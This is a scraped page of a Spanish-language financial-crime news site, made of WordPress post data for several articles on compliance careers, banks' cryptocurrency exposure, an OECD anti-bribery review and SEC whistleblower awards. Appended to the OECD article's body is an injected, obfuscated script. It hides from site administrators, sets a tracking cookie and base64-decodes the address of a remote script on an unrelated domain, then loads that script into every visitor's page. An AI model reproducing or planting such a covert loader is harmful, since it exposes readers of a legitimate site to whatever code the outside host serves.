href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect 